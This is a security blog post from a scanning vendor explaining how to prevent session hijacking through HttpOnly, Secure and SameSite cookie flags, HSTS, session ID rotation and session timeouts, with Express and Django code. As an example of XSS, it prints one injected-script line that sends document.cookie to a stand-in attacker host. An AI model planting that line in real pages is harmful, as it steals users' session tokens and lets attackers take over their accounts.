Skip to main content
Back to blog
April 28, 2026·Updated April 28, 2026|8 min read|Antoine Duno

Session Hijacking Prevention: Cookies, HTTPS & Session Rotation

Session hijacking lets attackers impersonate authenticated users without needing their password. Here is every attack vector and how to close it.

ZeriFlow Team

1,399 words

Session Hijacking Prevention: Cookies, HTTPS & Session Rotation

Session hijacking allows attackers to impersonate a legitimate user after authentication, bypassing password checks and 2FA entirely. A stolen session cookie is as good as a valid login. This guide covers every hijacking technique and the technical controls that prevent them.

Check your site's security configuration: Free ZeriFlow scan in 60 seconds →

What Is Session Hijacking?

When a user logs in, your server creates a session and sends a session identifier (typically a cookie) back to the browser. Every subsequent request the browser makes includes that cookie, and your server uses it to identify the user without re-authenticating.

Session hijacking means an attacker obtains that session identifier and uses it to make requests as if they were the legitimate user. The server cannot distinguish attacker requests from real ones — the cookie is valid.

Session hijacking is distinct from credential theft. An attacker does not need the user's password. A single stolen session token grants full authenticated access for as long as the session is valid.

Cross-site scripting remains the most common mechanism for cookie theft. If an attacker can inject JavaScript into a page your users visit, that script can read document.cookie and exfiltrate session tokens.

javascript
// Attacker's injected script
fetch('https://attacker.com/steal?c=' + encodeURIComponent(document.cookie));

The defense is the HttpOnly flag. When a cookie is set with HttpOnly, the browser refuses to expose it to JavaScript — document.cookie returns an empty string for HttpOnly cookies.

http
Set-Cookie: session=abc123xyz; Path=/; HttpOnly; Secure; SameSite=Strict

HttpOnly does not prevent all XSS impact (attackers can still make authenticated requests via fetch), but it eliminates the exfiltration vector and forces attacks to be same-session only, which limits attacker persistence.

Man-in-the-Middle: Intercept in Transit

Without HTTPS, session cookies travel as plaintext over the network. An attacker on the same WiFi (coffee shop, hotel) or controlling a network node can capture cookies passively.

The Secure flag instructs the browser to never send the cookie over HTTP, only HTTPS. Without it, a single HTTP request (triggered by a typo, a mixed-content resource, or an HTTP redirect) leaks the session token.

javascript
// Express.js — session cookie configuration
app.use(session({
  secret: process.env.SESSION_SECRET,
  resave: false,
  saveUninitialized: false,
  cookie: {
    secure: true,        // HTTPS only
    httpOnly: true,      // no JavaScript access
    sameSite: 'strict',  // no cross-site requests
    maxAge: 3600000      // 1 hour
  }
}));

Force HTTPS for your entire domain with HTTP Strict Transport Security (HSTS):

http
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

HSTS tells browsers to always use HTTPS for your domain, even if the user types http:// or clicks an HTTP link. ZeriFlow checks for HSTS headers and cookie flags as part of its security scan, flagging missing Secure or HttpOnly attributes as high-severity findings.

Session Fixation

Session fixation is an underappreciated attack. Rather than stealing an existing session, the attacker plants a known session ID before the victim logs in.

Attack sequence: 1. Attacker visits your login page and receives a pre-auth session ID. 2. Attacker tricks the victim into using that same session ID (via a crafted link, XSS, or a subdomain that shares cookies). 3. Victim logs in. If the server does not regenerate the session ID on login, the attacker's pre-auth ID is now authenticated. 4. Attacker uses the session they already knew.

The defense is mandatory session ID rotation on every privilege change:

javascript
// Express.js — rotate session ID on login
app.post('/login', async (req, res) => {
  const user = await authenticate(req.body.email, req.body.password);
  if (!user) return res.status(401).json({ error: 'Invalid credentials' });

  // Regenerate session ID — destroys old session, creates new one
  req.session.regenerate((err) => {
    if (err) return res.status(500).json({ error: 'Session error' });
    req.session.userId = user.id;
    req.session.loginTime = Date.now();
    res.json({ success: true });
  });
});

// Also regenerate on privilege escalation (e.g., after 2FA)
app.post('/verify-2fa', async (req, res) => {
  const valid = await verifyTOTP(req.session.pendingUserId, req.body.token);
  if (!valid) return res.status(401).json({ error: 'Invalid code' });

  req.session.regenerate((err) => {
    req.session.userId = req.session.pendingUserId;
    req.session.mfaVerified = true;
    res.json({ success: true });
  });
});
python
# Django — session rotation is built-in
# In settings.py:
SESSION_COOKIE_SECURE = True
SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SAMESITE = 'Strict'

# In your login view:
from django.contrib.auth import login
from django.contrib.auth import authenticate

def login_view(request):
    user = authenticate(request, username=username, password=password)
    if user:
        login(request, user)  # Django automatically calls cycle_key()
        # cycle_key() creates a new session key while preserving session data

CSRF and SameSite Cookies

Cross-Site Request Forgery is related to session hijacking: an attacker tricks a victim's browser into making authenticated requests to your application. The browser automatically includes the session cookie in every request, even those initiated from a malicious site.

SameSite=Strict prevents cookies from being sent with any cross-origin request, neutralizing CSRF without requiring separate CSRF tokens. SameSite=Lax (the browser default in most cases) allows cookies on top-level navigations but blocks them on cross-origin subrequests.

javascript
// Choosing SameSite value
// Strict: maximum protection, breaks OAuth/OpenID redirects
// Lax: good balance for most apps
// None: required for cross-origin embeds, must also set Secure

// For most apps:
cookie: { sameSite: 'strict' }

// For apps with OAuth or embedded flows:
cookie: { sameSite: 'lax' }

Session Expiration and Invalidation

A stolen session is worthless if it expires quickly. Design your session lifecycle defensively:

  • Idle timeout: invalidate sessions after 15-30 minutes of inactivity for sensitive apps (banking, admin panels).
  • Absolute timeout: regardless of activity, require re-authentication after 8-24 hours.
  • Logout invalidation: delete the server-side session record on logout, not just the client-side cookie.
  • Device management: let users view and revoke active sessions from a security settings page.
javascript
// Server-side session expiration check
function sessionMiddleware(req, res, next) {
  if (!req.session.userId) return next();

  const now = Date.now();
  const idleTimeout = 30 * 60 * 1000; // 30 minutes
  const absoluteTimeout = 24 * 60 * 60 * 1000; // 24 hours

  if (now - req.session.lastActivity > idleTimeout) {
    req.session.destroy();
    return res.status(401).json({ error: 'Session expired due to inactivity' });
  }

  if (now - req.session.loginTime > absoluteTimeout) {
    req.session.destroy();
    return res.status(401).json({ error: 'Session expired, please log in again' });
  }

  req.session.lastActivity = now;
  next();
}

FAQ

### Q: Does HttpOnly prevent all XSS attacks on sessions? A: It prevents cookie theft via document.cookie, but an attacker with XSS can still make authenticated fetch or XMLHttpRequest calls from within the victim's session. HttpOnly eliminates persistence (the attacker cannot exfiltrate the token for use elsewhere), but a Content Security Policy and input sanitization are still essential defenses.

### Q: Can session fixation happen with HTTPS? A: Yes. HTTPS prevents interception of the session token in transit, but it does not prevent fixation. The attack does not require reading the token — the attacker already knows it because they created it. Session ID rotation on login is the only fix.

### Q: Should I use cookies or localStorage for session tokens? A: Cookies with HttpOnly and Secure flags. LocalStorage is accessible to any JavaScript on the page, making XSS attacks immediately catastrophic. The HttpOnly flag removes that exposure vector entirely for cookies.

### Q: What is the ideal session token length? A: At least 128 bits of cryptographically random data, typically 256 bits encoded as hex or base64. This makes brute-force guessing of session IDs computationally infeasible. Use your framework's built-in session generator rather than rolling your own.

### Q: Does ZeriFlow check session cookie flags? A: Yes. ZeriFlow's scanner inspects all Set-Cookie headers in your HTTP responses and flags any session cookie missing the Secure, HttpOnly, or SameSite flags. It also checks for HSTS configuration and TLS strength.


Conclusion

Session hijacking is preventable with a small set of well-understood technical controls: HttpOnly to block cookie theft, Secure to enforce HTTPS transmission, SameSite to prevent cross-site requests, session rotation on login to close fixation attacks, and HSTS to ensure the transport layer is always encrypted. Implement all five — they are complementary, not alternatives.

Run a free ZeriFlow scan → — no credit card required.

Ready to check your site?

Run a free security scan in 30 seconds.

Related articles

Keep reading